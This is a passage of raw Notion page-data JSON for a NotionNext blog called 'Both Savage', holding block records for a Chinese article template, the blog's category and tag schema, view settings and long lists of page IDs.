over_position":0.5},"created_time":1705594337113,"last_edited_time":1705630808239,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"82d871b0-86d3-4d3c-8d4c-fe70087f3d69":{"value":{"id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["aad2aea5-e7bc-4147-bfeb-465cbf407a92"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"7691f913-ab67-4bef-a6fc-40f04cddd7f7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7691f913-ab67-4bef-a6fc-40f04cddd7f7"}},"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7":{"value":{"id":"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","type":"text","format":{"copied_from_pointer":{"id":"58267cec-d269-493d-84d6-a3f5db3f9795","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"58267cec-d269-493d-84d6-a3f5db3f9795"}},"c2d93490-64f9-4cb1-882b-ce82d4e86e34":{"value":{"id":"c2d93490-64f9-4cb1-882b-ce82d4e86e34","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b"}},"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad":{"value":{"id":"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"1b076f45-d0db-4fc8-a863-29c5a8a3c246","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1b076f45-d0db-4fc8-a863-29c5a8a3c246"}},"9a7a521d-391c-4709-bc52-426bcdc88d29":{"value":{"id":"9a7a521d-391c-4709-bc52-426bcdc88d29","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"ad5e5791-cd82-409d-8643-00c52328b54d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ad5e5791-cd82-409d-8643-00c52328b54d"}},"931b0fc5-4a3c-42a1-9e72-2f98575aabe4":{"value":{"id":"931b0fc5-4a3c-42a1-9e72-2f98575aabe4","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"68755d5e-d008-43c7-a7c5-818e51d76e04","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"68755d5e-d008-43c7-a7c5-818e51d76e04"}},"bfd4a004-433b-4690-91c1-564daf7111de":{"value":{"id":"bfd4a004-433b-4690-91c1-564daf7111de","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5"}},"26ae09ec-3360-4a22-8a1c-5a04558cd1bf":{"value":{"id":"26ae09ec-3360-4a22-8a1c-5a04558cd1bf","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"bafc69ed-a5e1-42d5-801c-c174230081ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"bafc69ed-a5e1-42d5-801c-c174230081ff"}},"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec":{"value":{"id":"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"1fbf888c-22f2-4d2f-952f-292cff57550e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1fbf888c-22f2-4d2f-952f-292cff57550e"}},"429902e3-fd85-467c-823e-a01d0c6f3585":{"value":{"id":"429902e3-fd85-467c-823e-a01d0c6f3585","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"9a814146-6bbd-4d09-b2ca-2207742a8c9a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a814146-6bbd-4d09-b2ca-2207742a8c9a"}},"2b18786d-ffa2-4d78-9627-a8e7e7ff5764":{"value":{"id":"2b18786d-ffa2-4d78-9627-a8e7e7ff5764","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"65d51202-f9fb-471c-a98d-3d012cd9a9e2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"65d51202-f9fb-471c-a98d-3d012cd9a9e2"}},"3cfd7e2b-1101-45dd-aa39-381d8a0d5173":{"value":{"id":"3cfd7e2b-1101-45dd-aa39-381d8a0d5173","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16"}},"14fcaf05-02a3-4cb7-8229-9512ee7a23f1":{"value":{"id":"14fcaf05-02a3-4cb7-8229-9512ee7a23f1","type":"text","format":{"copied_from_pointer":{"id":"a54672cb-9ce1-4819-9c30-d1102efe1731","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"a54672cb-9ce1-4819-9c30-d1102efe1731"}},"4c8e427a-3bcd-4247-85b8-39aa455c2e41":{"value":{"id":"4c8e427a-3bcd-4247-85b8-39aa455c2e41","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f"}},"aad2aea5-e7bc-4147-bfeb-465cbf407a92":{"value":{"id":"aad2aea5-e7bc-4147-bfeb-465cbf407a92","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"49ad2fff-395c-4e41-8975-b5e59bf12e5c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","parent_table":"block","alive":true,"copied_from":"49ad2fff-395c-4e41-8975-b5e59bf12e5c"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe5